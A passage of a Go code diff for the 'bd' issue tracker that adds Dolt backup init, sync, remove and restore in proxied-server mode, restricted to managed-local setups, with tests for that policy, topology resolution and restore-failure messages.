result, dest) + } + + // The restore quiesces the topology and leaves it down, so the next command + // relaunches against the restored data. Assert that rather than assume it: + // a restore that ran with the old server still up would be the undefined + // case this design exists to avoid. + for _, name := range []string{proxy.PIDFileName, server.PIDFileName} { + if _, err := os.Stat(filepath.Join(p.proxyRoot, name)); err == nil { + t.Fatalf("restore left %s in place; the topology should be quiescent afterwards", name) + } + } + + issues := bdProxiedListJSON(t, bd, p) + var ids []string + for _, issue := range issues { + ids = append(ids, issue.ID) + } + if !slices.Contains(ids, before.ID) { + t.Fatalf("restore lost the issue the backup contained (%s); got %v", before.ID, ids) + } + if slices.Contains(ids, after.ID) { + t.Fatalf("restore did not replace the database: %s was created after the backup and is still here; got %v", + after.ID, ids) + } + + // The restore registers its source as the backup destination, so a plain + // `bd backup sync` works straight afterwards with no second init. + restored := readProxiedBackupStatus(t, bd, p) + if !restored.Dolt.Configured || !strings.HasSuffix(restored.Dolt.BackupURL, dest) { + t.Fatalf("restore did not register %s as the backup destination: %+v", dest, restored.Dolt) + } + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "sync"); err != nil { + t.Fatalf("bd backup sync after restore: %v\n%s", err, out) + } + + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "remove"); err != nil { + t.Fatalf("bd backup remove: %v\n%s", err, out) + } + removed := readProxiedBackupStatus(t, bd, p) + if removed.Dolt.Configured { + t.Fatalf("backup remove left the destination configured: %+v", removed.Dolt) + } + // Removing the destination unregisters the remote; it does not delete the + // backup, which is what makes `bd backup remove` safe to run. + if _, err := os.Stat(filepath.Join(dest, "manifest")); err != nil { + t.Fatalf("backup remove deleted the backup data at %s: %v", dest, err) + } + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "sync"); err == nil { + t.Fatalf("bd backup sync succeeded with no destination configured:\n%s", out) + } +} + +// A backup with a malformed migration table can replace the database but fail +// the following provider construction at schema initialization. That failure must +// still leave both processes down, even though no provider was returned. +func TestManagedLocalProxiedBackupRestoreReopenFailure(t *testing.T) { + requireManagedLocalProxiedEnv(t) + bd := buildEmbeddedBD(t) + p := bdManagedLocalInit(t, bd, "bkrf", 5*time.Minute) + dest := filepath.Join(t.TempDir(), "malformed-backup") + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "init", dest); err != nil { + t.Fatalf("backup init: %v\n%s", err, out) + } + + // Damage the migration table in the backup, then repair the live table so + // the command's initial provider can open normally. Only its post-restore + // constructor will see the malformed table and fail after starting Dolt. + held := openHeldManagedProxiedConn(t, bd, p) + ctx := context.Background() + if _, err := held.Conn.ExecContext(ctx, "ALTER TABLE schema_migrations RENAME COLUMN version TO broken_version"); err != nil { + t.Fatalf("damage migration table: %v", err) + } + if _, err := held.Conn.ExecContext(ctx, "CALL DOLT_COMMIT('-Am', 'Simulate a malformed migration table in the backup')"); err != nil { + t.Fatalf("commit malformed migration table: %v", err) + } + if err := versioncontrolops.BackupSync(ctx, held.Conn, proxiedBackupTargetName); err != nil { + t.Fatalf("back up malformed schema: %v", err) + } + if _, err := held.Conn.ExecContext(ctx, "ALTER TABLE schema_migrations RENAME COLUMN broken_version TO version"); err != nil { + t.Fatalf("repair live migration table: %v", err) + } + held.Release() + + out, err := bdProxiedRun(t, bd, p.dir, "backup", "restore", dest, "--force") + if err == nil { + t.Fatalf("restore unexpectedly reopened a malformed schema:\n%s", out) + } + if !strings.Contains(string(out), "the restored database did not reopen") || !strings.Contains(string(out), "schema") { + t.Fatalf("expected post-restore schema initialization failure, got:\n%s", out) + } + if strings.Contains(string(out), "restored and reconciled") { + t.Fatalf("failed reopen reported successful reconciliation:\n%s", out) + } + for _, name := range []string{proxy.PIDFileName, server.PIDFileName} { + if _, err := os.Stat(filepath.Join(p.proxyRoot, name)); !os.IsNotExist(err) { + t.Errorf("failed reopen should remove %s; stat error: %v", name, err) + } + } +} + +type proxiedBackupStatus struct { + Dolt struct { + Configured bool `json:"configured"` + BackupURL string `json:"backup_url"` + BackupName string `json:"backup_name"` + } `json:"dolt"` + DatabaseSize struct { + Bytes int64 `json:"bytes"` + } `json:"database_size"` +} + +func readProxiedBackupStatus(t *testing.T, bd string, p proxiedProject) proxiedBackupStatus { + t.Helper() + out, err := bdProxiedRun(t, bd, p.dir, "backup", "status", "--json") + if err != nil { + t.Fatalf("bd backup status --json: %v\n%s", err, out) + } + start := strings.Index(string(out), "{") + if start < 0 { + t.Fatalf("bd backup status --json produced no JSON:\n%s", out) + } + var status proxiedBackupStatus + if err := json.Unmarshal(out[start:], &status); err != nil { + t.Fatalf("parse backup status JSON: %v\n%s", err, out) + } + return status +} diff --git a/cmd/bd/backup_proxied_policy_test.go b/cmd/bd/backup_proxied_policy_test.go new file mode 100644 index 000000000..db2db3a70 --- /dev/null +++ b/cmd/bd/backup_proxied_policy_test.go @@ -0,0 +1,285 @@ +package main + +import ( + "encoding/json" + "errors" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/spf13/cobra" + "github.com/steveyegge/beads/internal/configfile" +) + +// TestProxiedRestoreFailureMessage pins the one distinction the operator acts +// on: whether the data came back. A teardown failure happens after the step +// succeeded, so reporting it as "restore failed" is not a wording nit — it +// tells someone whose database IS restored to restore it again. +func TestProxiedRestoreFailureMessage(t *testing.T) { + boom := errors.New("proxy shutdown: connection refused") + + for _, tc := range []struct { + name string + afterReconcile bool + err error + wantContains []string + wantMissing []string + }{ + { + name: "restore itself failed", + err: errors.New("DOLT_BACKUP: no such backup"), + // No claim that anything was restored. + wantContains: []string{"restore failed", "no such backup"}, + wantMissing: []string{"the data is restored"}, + }, + { + name: "restore succeeded, teardown failed", + err: &proxiedTeardownError{err: boom}, + wantContains: []string{"the data is restored", "bd dolt stop --force", "bd backup init"}, + wantMissing: []string{"restore failed"}, + }, + { + name: "reconcile failed for real", + afterReconcile: true, + err: errors.New("open provider: schema is behind"), + wantContains: []string{"the restored database did not reopen", "schema is behind"}, + wantMissing: []string{"restore failed"}, + }, + { + name: "reconcile succeeded, teardown failed", + afterReconcile: true, + err: &proxiedTeardownError{err: boom}, + wantContains: []string{"the data is restored and reconciled", "bd dolt stop --force"}, + // Nothing left to re-register: the reconcile already ran. + wantMissing: []string{"restore failed", "bd backup init"}, + }, + } { + t.Run(tc.name, func(t *testing.T) { + got := proxiedRestoreFailureMessage("/tmp/backup", tc.afterReconcile, tc.err) + for _, want := range tc.wantContains { + if !strings.Contains(got, want) { + t.Errorf("message %q does not contain %q", got, want) + } + } + for _, unwanted := range tc.wantMissing { + if strings.Contains(got, unwanted) { + t.Errorf("message %q must not contain %q", got, unwanted) + } + } + }) + } +} + +// backupFamilyPaths is every registry path the backup family owns. Keeping the +// list in one place is what makes "the whole family moves together" an +// assertion rather than a convention. +var backupFamilyPaths = []string{ + "backup", "backup init", "backup sync", "backup remove", "backup status", "backup restore", +} + +// TestProxiedBackupHonoredOnlyOnManagedLocal is the locality policy. +// +// A Dolt backup destination is resolved by the SERVER: CALL DOLT_BACKUP('add', +// name, 'file:///…') names a path on the machine running dolt, not on the +// machine running bd. On managed-local that is the same machine and the same +// user, because bd spawned the child itself. On every other proxied shape it is +// somebody else's filesystem, so honoring the command would either fail at the +// point of use or — much worse — succeed and write the backup somewhere the +// operator cannot see. That is why these stay refused with Reason=design. +func TestProxiedBackupHonoredOnlyOnManagedLocal(t *testing.T) { + for _, path := range backupFamilyPaths { + row, ok := LookupCapabilityRow(path, "") + if !ok { + t.Fatalf("%q has no registry row", path) + } + + if got := row.ruleFor(ProxyTopologyManagedLocal); got.Outcome != ProxyOutcomeHonored { + t.Errorf("%q on managed-local: outcome %q, want honored", path, got.Outcome) + } + + for _, topology := range []ProxyTopology{ + ProxyTopologyExternalTCP, ProxyTopologyExternalUnix, + ProxyTopologyTeamServer, ProxyTopologyUnknown, + } { + got := row.ruleFor(topology) + if got.Outcome != ProxyOutcomeRefused { + t.Errorf("%q on %s: outcome %q, want refused", path, topology, got.Outcome) + } + if got.Reason != ProxyReasonDesign { + t.Errorf("%q on %s: reason %q, want design", path, topology, got.Reason) + } + if got.Code != "proxy.backup.unsupported" { + t.Errorf("%q on %s: code %q, want the frozen proxy.backup.unsupported", path, topology, got.Code) + } + if !strings.Contains(got.Message, "is not supported in proxied-server mode") { + t.Errorf("%q on %s: message %q dropped the frozen prefix", path, topology, got.Message) + } + } + } +} + +// TestProxiedBackupGateRefusesByTopology exercises the gate itself rather than +// the table, so a row that is right while the validator ignores the topology +// still fails. +func TestProxiedBackupGateRefusesByTopology(t *testing.T) { + newBackupCmd := func(sub string) *cobra.Command { + root := &cobra.Command{Use: "bd"} + parent := &cobra.Command{Use: "backup"} + child := &cobra.Command{Use: sub} + parent.AddCommand(child) + root.AddCommand(parent) + return child + } + + for _, sub := range []string{"init", "sync", "remove", "status", "restore"} { + t.Run(sub, func(t *testing.T) { + if err := validateProxyRegistryBeforeProvider(newBackupCmd(sub), ProxyTopologyManagedLocal); err != nil { + t.Fatalf("managed-local: gate refused %q: %v", sub, err) + } + err := validateProxyRegistryBeforeProvider(newBackupCmd(sub), ProxyTopologyExternalTCP) + if err == nil { + t.Fatalf("external-tcp: gate permitted %q", sub) + } + }) + } +} + +// TestProxiedBackupRefusalJSONCarriesDesignReason pins what a consumer sees. +// The three frozen fields are unchanged and reason now says "design", which is +// the difference that matters: this refusal is not waiting on a later slice. +func TestProxiedBackupRefusalJSONCarriesDesignReason(t *testing.T) { + t.Setenv("BD_JSON_ENVELOPE", "") + oldJSON := jsonOutput + jsonOutput = true + t.Cleanup(func() { jsonOutput = oldJSON }) + + root := &cobra.Command{Use: "bd"} + parent := &cobra.Command{Use: "backup"} + child := &cobra.Command{Use: "sync"} + parent.AddCommand(child) + root.AddCommand(parent) + + out := captureStdout(t, func() error { + _ = validateProxyRegistryBeforeProvider(child, ProxyTopologyExternalTCP) + return nil + }) + for _, want := range []string{ + `"code": "proxy.backup.unsupported"`, + `"mutates": false`, + `"reason": "design"`, + } { + if !strings.Contains(out, want) { + t.Fatalf("refusal JSON missing %s:\n%s", want, out) + } + } +} + +// TestResolveProxiedTopology covers the resolution the gate depends on. The +// team-server case is the one worth reading twice: ownership beats transport, +// because a bts-managed database is somebody else's store whether bd reaches it +// over a socket, a port, or a child it spawned itself. +func TestResolveProxiedTopology(t *testing.T) { + for _, tc := range []struct { + name string + cfg configfile.Config + sidecar *configfile.ProxiedServerClientInfo + rawCfg string // when set, written verbatim instead of cfg + rawCar string // when set, written verbatim instead of sidecar + want ProxyTopology + }{ + { + name: "managed local has no external block", + cfg: configfile.Config{DoltMode: configfile.DoltModeProxiedServer}, + sidecar: &configfile.ProxiedServerClientInfo{}, + want: ProxyTopologyManagedLocal, + }, + { + name: "no sidecar at all is still managed local", + cfg: configfile.Config{DoltMode: configfile.DoltModeProxiedServer}, + sidecar: nil, + want: ProxyTopologyManagedLocal, + }, + { + name: "external host and port", + cfg: configfile.Config{DoltMode: configfile.DoltModeProxiedServer}, + sidecar: &configfile.ProxiedServerClientInfo{ + External: &configfile.ExternalDoltConfig{Host: "db.example.com", Port: 3306}, + }, + want: ProxyTopologyExternalTCP, + }, + { + name: "external unix socket", + cfg: configfile.Config{DoltMode: configfile.DoltModeProxiedServer}, + sidecar: &configfile.ProxiedServerClientInfo{ + External: &configfile.ExternalDoltConfig{Socket: "/var/run/dolt.sock"}, + }, + want: ProxyTopologyExternalUnix, + }, + { + name: "team server beats the transport", + cfg: configfile.Config{DoltMode: configfile.DoltModeProxiedServer, DoltTeamServer: true}, + sidecar: &configfile.ProxiedServerClientInfo{ + External: &configfile.ExternalDoltConfig{Host: "bts.example.com", Port: 3306}, + }, + want: ProxyTopologyTeamServer, + }, + { + name: "team server on a local child is still team server", + cfg: configfile.Config{DoltMode: configfile.DoltModeProxiedServer, DoltTeamServer: true}, + sidecar: &configfile.ProxiedServerClientInfo{}, + want: ProxyTopologyTeamServer, + }, + { + name: "unreadable sidecar fails closed", + cfg: configfile.Config{DoltMode: configfile.DoltModeProxiedServer}, + rawCar: "{ not json", + want: ProxyTopologyUnknown, + }, + { + name: "unreadable workspace config fails closed", + rawCfg: "{ not json", + want: ProxyTopologyUnknown, + }, + } { + t.Run(tc.name, func(t *testing.T) { + beadsDir := filepath.Join(t.TempDir(), ".beads") + if err := os.MkdirAll(beadsDir, 0o750); err != nil { + t.Fatal(err) + } + switch { + case tc.rawCfg != "": + writeTestFile(t, configfile.ConfigPath(beadsDir), tc.rawCfg) + default: + cfg := tc.cfg + cfg.Backend = configfile.BackendDolt + data, err := json.Marshal(cfg) + if err != nil { + t.Fatal(err) + } + writeTestFile(t, configfile.ConfigPath(beadsDir), string(data)) + } + switch { + case tc.rawCar != "": + writeTestFile(t, configfile.ProxiedServerClientInfoPath(beadsDir), tc.rawCar) + case tc.sidecar != nil: + data, err := json.Marshal(tc.sidecar) + if err != nil { + t.Fatal(err) + } + writeTestFile(t, configfile.ProxiedServerClientInfoPath(beadsDir), string(data)) + } + + if got := resolveProxiedTopology(beadsDir); got != tc.want { + t.Fatalf("resolveProxiedTopology = %q, want %q", got, tc.want) + } + }) + } +} + +func writeTestFile(t *testing.T, path, body string) { + t.Helper() + if err := os.WriteFile(path, []byte(body), 0o600); err != nil { + t.Fatal(err) + } +} diff --git a/cmd/bd/backup_proxied_server.go b/cmd/bd/backup_proxied_server.go new file mode 100644 index 000000000..13bfaacac --- /dev/null +++ b/cmd/bd/backup_proxied_server.go @@ -0,0 +1,477 @@ +package main + +import ( + "context" + "database/sql" + "errors" + "fmt" + "os" + "path/filepath" + "strings" + "time" + + "github.com/steveyegge/beads/internal/beads" + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/storage/uow" + "github.com/steveyegge/beads/internal/storage/versioncontrolops" +) + +// Dolt-native backup over the proxied-server provider. +// +// The mechanism needed no proxy work at all: CALL DOLT_BACKUP(...) is ordinary +// SQL, RunNonTx already hands out a raw pinned connection (the seam `compact +// --dolt` and `gc` run on), the UOW DSN sets a connect timeout but no read +// deadline, and an active connection keeps the idle reaper from arming — so a +// backup that takes minutes is safe from both the driver and the 30s reaper. +// +// What the family DID need is the locality policy, which lives in the registry +// (see capability_registry.go's backup rows) because it is what the front door +// enforces. The guard below repeats it at the route because these functions are +// reachable from RunE, and a route that trusts the gate is one refactor away +// from writing a backup onto a host it does not own. +// +// None of these routes touch commandDidWrite or commandDidExplicitDoltCommit. +// Those two drive the post-run Dolt auto-commit, which is an embedded/direct +// concern — PersistentPostRunE's proxied branch never reads them — and the +// other proxied routes leave them alone for the same reason. + +// proxiedBackupTargetName is the Dolt backup remote bd registers. Same name the +// direct path uses, so a workspace that changes topology still finds its +// destination. +const proxiedBackupTargetName = defaultDoltBackupName + +// requireLocalProxiedBackup re-checks the locality policy at the route. +// Defense in depth, not a second policy: the rule and its wording come from the +// same registry row the pre-provider gate consults, so the two cannot drift. +func requireLocalProxiedBackup(path string) error { + row, ok := LookupCapabilityRow(path, "") + if !ok { + // Unreachable: TestProxyCapabilityRegistryCoversCommandTree fails the + // build for a backup path with no row. Refuse rather than guess. + return HandleErrorRespectJSON("%s has no proxied-server capability row", path) + } + rule := row.ruleFor(resolveProxiedTopology(beads.FindBeadsDir())) + if rule.Outcome == ProxyOutcomeHonored { + return nil + } + return HandleProxyCapabilityError(proxyCapabilityErrorFor(rule)) +} + +// proxiedActiveDatabase asks the server which database the provider opened, +// rather than re-deriving it from the workspace config. The provider already +// resolved that question (metadata.json, then --database/--db), and a second +// ladder here would be a second answer waiting to disagree with it. +func proxiedActiveDatabase(ctx context.Context) (string, error) { + var database string + err := runProxiedNonTx(ctx, func(ctx context.Context, conn *sql.Conn) error { + var name sql.NullString + if err := conn.QueryRowContext(ctx, "SELECT DATABASE()").Scan(&name); err != nil { + return fmt.Errorf("resolve active database: %w", err) + } + if !name.Valid || name.String == "" { + return fmt.Errorf("the proxied connection has no database selected") + } + database = name.String + return nil + }) + return database, err +} + +// runBackupInitProxied registers the backup destination, mirroring the direct +// path's conflict handling: Dolt refuses a second remote at an address another +// one already holds, and a re-init to a new path has to replace the old entry +// rather than fail. +func runBackupInitProxied(ctx context.Context, rawPath string) error { + if err := requireLocalProxiedBackup("backup init"); err != nil { + return err + } + backupURL := resolveDoltBackupURL(rawPath) + + err := runProxiedNonTx(ctx, func(ctx context.Context, conn *sql.Conn) error { + addErr := versioncontrolops.BackupAdd(ctx, conn, proxiedBackupTargetName, backupURL) + if addErr == nil { + return nil + } + switch { + case strings.Contains(addErr.Error(), "already exists"): + // Same name, different URL: replace it. + _ = versioncontrolops.BackupRemove(ctx, conn, proxiedBackupTargetName) + case versioncontrolops.ExtractAddressConflictName(addErr) != "": + // A different name (auto-export registers "backup_export") already + // points at this URL; take the address over. + _ = versioncontrolops.BackupRemove(ctx, conn, versioncontrolops.ExtractAddressConflictName(addErr)) + default: + return addErr + } + return versioncontrolops.BackupAdd(ctx, conn, proxiedBackupTargetName, backupURL) + }) + if err != nil { + return HandleErrorRespectJSON("failed to add backup destination: %v", err) + } + + if err := saveDoltBackupConfig(backupURL); err != nil { + fmt.Fprintf(os.Stderr, "Warning: backup registered but failed to save config: %v\n", err) + } + + if jsonOutput { + return outputJSON(map[string]interface{}{ + "backup_url": backupURL, + "backup_name": proxiedBackupTargetName, + "initialized": true, + }) + } + fmt.Printf("Backup destination configured: %s\n", backupURL) + fmt.Println("Run 'bd backup sync' to push your data.") + return nil +} + +// runBackupSyncProxied pushes the database to the configured destination. +func runBackupSyncProxied(ctx context.Context) error { + if err := requireLocalProxiedBackup("backup sync"); err != nil { + return err + } + + start := time.Now() + err := runProxiedNonTx(ctx, func(ctx context.Context, conn *sql.Conn) error { + if err := commitWorkingSetBeforeBackup(ctx, conn); err != nil { + // Same posture as the direct path: a failed pre-backup commit + // means the backup may miss the newest writes, which is worth + // saying out loud and is not worth refusing to back up over. + fmt.Fprintf(os.Stderr, "Warning: failed to commit pending changes: %v\n", err) + } + return versioncontrolops.BackupSync(ctx, conn, proxiedBackupTargetName) + }) + if err != nil { + if strings.Contains(err.Error(), "no backup") || strings.Contains(err.Error(), "not found") { + return HandleErrorRespectJSON("no backup destination configured. Run 'bd backup init ' first") + } + return HandleErrorRespectJSON("backup sync failed: %v", err) + } + + elapsed := time.Since(start) + if err := updateDoltBackupState(elapsed); err != nil { + fmt.Fprintf(os.Stderr, "Warning: backup synced but failed to update state: %v\n", err) + } + + if jsonOutput { + return outputJSON(map[string]interface{}{ + "synced": true, + "duration": elapsed.String(), + }) + } + fmt.Printf("Backup synced in %s\n", elapsed.Round(time.Millisecond)) + return nil +} + +// commitWorkingSetBeforeBackup is the proxied twin of the direct path's +// "bd: pre-backup commit". DOLT_BACKUP syncs COMMITTED history, so anything +// still in the working set would silently be missing from the backup. +// +// It is normally a no-op: every proxied write transaction ends in +// DOLT_COMMIT('-Am') (uow doltServerTx.Commit), so the working set is already +// clean. The pending check is what keeps this from minting an empty commit on +// every sync — Dolt rejects those server-side and logs each one. +func commitWorkingSetBeforeBackup(ctx context.Context, conn *sql.Conn) error { + pending, err := issueops.HasPendingChanges(ctx, conn) + if err != nil { + return fmt.Errorf("check pending changes: %w", err) + } + if !pending { + return nil + } + if _, err := conn.ExecContext(ctx, "CALL DOLT_COMMIT('-Am', ?)", "bd: pre-backup commit"); err != nil { + if issueops.IsNothingToCommitError(err) { + return nil + } + return err + } + return nil +} + +// runBackupRemoveProxied unregisters the destination and drops the local +// sidecars. The backup data itself is left alone, as in direct mode. +func runBackupRemoveProxied(ctx context.Context) error { + if err := requireLocalProxiedBackup("backup remove"); err != nil { + return err + } + + err := runProxiedNonTx(ctx, func(ctx context.Context, conn *sql.Conn) error { + if err := versioncontrolops.BackupRemove(ctx, conn, proxiedBackupTargetName); err != nil { + return err + } + // auto-export may have registered a second remote at the same URL. + _ = versioncontrolops.BackupRemove(ctx, conn, "backup_export") + return nil + }) + if err != nil { + if strings.Contains(err.Error(), "not found") || strings.Contains(err.Error(), "no backup") { + return HandleErrorRespectJSON("no backup destination configured") + } + return HandleErrorRespectJSON("failed to remove backup: %v", err) + } + + if path, err := doltBackupConfigPath(); err == nil { + _ = os.Remove(path) + } + if path, err := doltBackupStatePath(); err == nil { + _ = os.Remove(path) + } + + if jsonOutput { + return outputJSON(map[string]interface{}{"removed": true}) + } + fmt.Println("Backup destination removed.") + return nil +} + +// doltBackupSizeProxied measures the managed-local database on disk, which is +// what `bd backup status` reports on every other topology that can answer. +// +// It reads the directory rather than asking Dolt because that is what the +// direct stores do (DoltStore.ActiveDatabaseSize measures +// localActiveDatabaseDir), so the number means the same thing in both modes. +// The database NAME still comes from the server, so the directory measured is +// the one this connection is actually using. +func doltBackupSizeProxied(ctx context.Context) (int64, bool, error) { + beadsDir := beads.FindBeadsDir() + if beadsDir == "" { + return 0, false, nil + } + root, err := resolveProxiedServerRootPath(beadsDir) + if err != nil { + return 0, false, nil + } + + database, err := proxiedActiveDatabase(ctx) + if err != nil { + return 0, false, err + } + + dir := filepath.Join(root, database) + if _, err := os.Stat(dir); err != nil { + // No local directory means nothing bd can measure; the status contract + // treats size as optional rather than failing the command. + return 0, false, nil + } + size, err := storage.MeasureDirectorySize(ctx, dir) + if err != nil { + return 0, false, fmt.Errorf("measure active database directory %q: %w", dir, err) + } + return size, true, nil +} + +// runBackupRestoreProxied restores the database from a Dolt backup, quiescing +// the topology first. +// +// DOLT_BACKUP('restore') REPLACES the database under the server. Doing that +// while clients hold connections to it is undefined, so the restore runs with +// bd as the only client and nothing else pointed at the store: +// +// 1. `bd backup restore` already holds the workspace and physical-root gates +// EXCLUSIVELY (commandNeedsExclusiveGate), so no other gated bd command — +// including `bd serve` — is using this workspace. +// 2. This function closes the provider the root pre-run opened and shuts the +// proxy and its dolt child down, so no connection survives into the +// replace. +// 3. It reopens a provider of its own, which relaunches the topology with +// exactly one client, and runs the restore on that. +// 4. It shuts the topology down again and reopens once more to finish: the +// reopen proves the restored database is serviceable, and it is where the +// project identity and the backup remote are reconciled. A connection +// pinned across the replace would be reading a database that no longer +// exists underneath it. +// +// The final shutdown leaves the workspace quiescent, so the next bd command +// relaunches lazily against the restored data. +func runBackupRestoreProxied(ctx context.Context, dir string, force bool) error { + if err := requireLocalProxiedBackup("backup restore"); err != nil { + return err + } + beadsDir := beads.FindBeadsDir() + if beadsDir == "" { + return HandleErrorRespectJSON("%s", activeWorkspaceNotFoundError()) + } + root, err := resolveProxiedServerRootPath(beadsDir) + if err != nil { + return HandleErrorRespectJSON("%v", err) + } + backupURL, err := versioncontrolops.DirToFileURL(dir) + if err != nil { + return HandleErrorRespectJSON("%v", err) + } + + // Ask the live provider which database to replace before taking it away. + database, err := proxiedActiveDatabase(ctx) + if err != nil { + return HandleErrorRespectJSON("%v", err) + } + + if err := quiesceProxiedTopology(ctx, root); err != nil { + return HandleErrorRespectJSON("%v", err) + } + + if err := withQuiescedProxiedProvider(ctx, beadsDir, database, root, func(ctx context.Context, conn *sql.Conn) error { + return versioncontrolops.BackupRestore(ctx, conn, backupURL, database, force) + }); err != nil { + return HandleErrorRespectJSON("%s", proxiedRestoreFailureMessage(dir, false, err)) + } + + if err := withQuiescedProxiedProvider(ctx, beadsDir, database, root, func(ctx context.Context, conn *sql.Conn) error { + return reconcileRestoredProxiedWorkspace(ctx, conn, beadsDir, dir, force) + }); err != nil { + return HandleErrorRespectJSON("%s", proxiedRestoreFailureMessage(dir, true, err)) + } + + return nil +} + +// proxiedRestoreFailureMessage renders what the operator is told when one of +// the two quiesced steps fails. +// +// The distinction it makes is the only one that matters here: DID THE DATA COME +// BACK. A teardown failure happens after the step succeeded, so saying "restore +// failed" would be false, and the obvious response to it — run the restore +// again — is the wrong one. Split out from the call sites so that judgement is +// something a test can hold still (TestProxiedRestoreFailureMessage). +// +// afterReconcile distinguishes the two steps, because a teardown failure costs +// the operator different follow-up work either side of the reconcile: before +// it, the backup destination has not been re-registered yet. +func proxiedRestoreFailureMessage(dir string, afterReconcile bool, err error) string { + var teardown *proxiedTeardownError + if errors.As(err, &teardown) { + if afterReconcile { + return fmt.Sprintf("restored from %s, but shutting the proxied server down afterwards failed: %v; "+ + "the data is restored and reconciled — run 'bd dolt stop --force' before the next command", dir, teardown) + } + return fmt.Sprintf("restored from %s, but shutting the proxied server down afterwards failed: %v; "+ + "the data is restored — run 'bd dolt stop --force', then 'bd backup init %s' to re-register the "+ + "backup destination, which this run did not reach", dir, teardown, dir) + } + if afterReconcile { + return fmt.Sprintf("restored from %s, but the restored database did not reopen: %v", dir, err) + } + return fmt.Sprintf("restore failed: %v", err) +} + +// quiesceProxiedTopology drops this process's provider and stops the proxy and +// its dolt child, so nothing holds the database that is about to be replaced. +func quiesceProxiedTopology(ctx context.Context, root string) error { + if uowProvider != nil { + if err := uowProvider.Close(ctx); err != nil { + return fmt.Errorf("close the proxied provider before restoring: %w", err) + } + uowProvider = nil + } + if err := proxy.Shutdown(root); err != nil { + return fmt.Errorf("stop the proxied server before restoring: %w; "+ + "run 'bd dolt stop --force' and retry", err) + } + return nil +} + +// proxiedTeardownError marks a failure that happened AFTER the operation +// succeeded, while putting the topology back down. It exists so the caller can +// tell the two apart in what it prints. Flattening them is what made a restore +// that completed and then failed to shut the proxy down report "restore +// failed": the operator is told their data did not come back when it did, and +// the obvious response — run the restore again — is the wrong one. +type proxiedTeardownError struct{ err error } + +func (e *proxiedTeardownError) Error() string { return e.err.Error() } +func (e *proxiedTeardownError) Unwrap() error { return e.err } + +// withQuiescedProxiedProvider relaunches the topology for one operation and +// puts it back down afterwards, so each step either side of the replace runs on +// a connection that was opened after it. +// +// The provider ADOPTS whatever identity the database carries: a restore is +// precisely the operation after which the workspace's recorded project id and +// the database's may legitimately differ, and asserting the old one would +// refuse the connection that is supposed to reconcile them. That makes this the +// third caller of newProxiedServerUOWProviderAdopting; its doc comment is the +// register of identity-assertion bypasses and names this one. +// +// A teardown failure is returned wrapped in *proxiedTeardownError, and only +// when the operation itself succeeded. If opening or running the operation +// failed, preserve that error and append any cleanup failure without the +// success marker. Shutdown is attempted even if construction fails after +// starting the topology but before returning a provider. +func withQuiescedProxiedProvider(ctx context.Context, beadsDir, database, root string, fn func(context.Context, *sql.Conn) error) (err error) { + var provider uow.UnitOfWorkProvider + defer func() { + var closeErr error + if provider != nil { + closeErr = provider.Close(ctx) + } + stopErr := proxy.Shutdown(root) + if teardownErr := errors.Join(closeErr, stopErr); teardownErr != nil { + if err != nil { + err = errors.Join(err, fmt.Errorf("shut down the proxied server after failure: %w", teardownErr)) + } else { + err = &proxiedTeardownError{err: teardownErr} + } + } + }() + provider, err = newProxiedServerUOWProviderAdopting(ctx, beadsDir, database) + if err != nil { + return err + } + + maintenance, ok := provider.(uow.MaintenanceProvider) + if !ok { + return fmt.Errorf("the proxied provider does not support maintenance operations") + } + return maintenance.RunNonTx(ctx, fn) +} + +// reconcileRestoredProxiedWorkspace is the post-restore bookkeeping, mirroring +// the direct path: adopt the restored database's project identity when the +// restore overwrote one, and register the restore source as the backup +// destination so `bd backup sync` works without a separate init. +// +// Both are best-effort with a warning, as in direct mode. The restore itself +// has already succeeded by this point, and failing the command over bookkeeping +// would tell the operator their data did not come back when it did. +func reconcileRestoredProxiedWorkspace(ctx context.Context, conn *sql.Conn, beadsDir, dir string, force bool) error { + if force { + if err := syncProjectIDFromProxiedDB(ctx, conn, beadsDir); err != nil { + fmt.Fprintf(os.Stderr, "Warning: failed to sync project ID after restore: %v\n", err) + } + } + + backupURL := resolveDoltBackupURL(dir) + _ = versioncontrolops.BackupRemove(ctx, conn, proxiedBackupTargetName) + if err := versioncontrolops.BackupAdd(ctx, conn, proxiedBackupTargetName, backupURL); err != nil { + fmt.Fprintf(os.Stderr, "Warning: failed to register backup remote: %v\n", err) + return nil + } + if err := saveDoltBackupConfig(backupURL); err != nil { + fmt.Fprintf(os.Stderr, "Warning: backup registered but failed to save config: %v\n", err) + } + return nil +} + +// syncProjectIDFromProxiedDB copies the restored database's _project_id into +// metadata.json, so the identity check does not reject later connections. The +// direct path reads it through the store; there is no store in proxied mode, so +// it goes through the same issueops accessor the store itself uses rather than +// a second copy of the query. +func syncProjectIDFromProxiedDB(ctx context.Context, conn *sql.Conn, beadsDir string) error { + dbID, err := issueops.GetMetadataInTx(ctx, conn, "_project_id") + if err != nil || dbID == "" { + return err + } + cfg, err := configfile.Load(beadsDir) + if err != nil { + return err + } + if cfg == nil || cfg.ProjectID == dbID { + return nil + } + cfg.ProjectID = dbID + return cfg.Save(beadsDir) +} diff --git a/cmd/bd/backup_restore.go b/cmd/bd/backup_restore.go index 7d1496181..aa508838a 100644 --- a/cmd/bd/backup_restore.go +++ b/cmd/bd/backup_restore.go @@ -30,11 +30,10 @@ Use --force to overwrite an existing database with the backup contents. The database must already be initialized (run 'bd init' first if needed). To initialize and restore in one step, use: bd init && bd backup restore`, - Args: cobra.MaximumNArgs(1), + Args: cobra.MaximumNArgs(1), + SilenceUsage: true, + SilenceErrors: true, RunE: func(cmd *cobra.Command, args []string) error { - if usesProxiedServer() { - return HandleErrorRespectJSON("backup restore is not supported in proxied-server mode") - } evt := metrics.NewCommandEvent("backup-restore") defer func() { if c := metrics.Global(); c != nil { @@ -61,14 +60,24 @@ To initialize and restore in one step, use: bd init && bd backup restore`, force, _ := cmd.Flags().GetBool("force") - if err := runBackupRestore(ctx, store, dir, force); err != nil { + if usesProxiedServer() { + if err := runBackupRestoreProxied(ctx, dir, force); err != nil { + return err + } + } else if err := runBackupRestore(ctx, store, dir, force); err != nil { return err } - if !jsonOutput { - fmt.Printf("%s Restore complete\n", ui.RenderPass("✓")) + 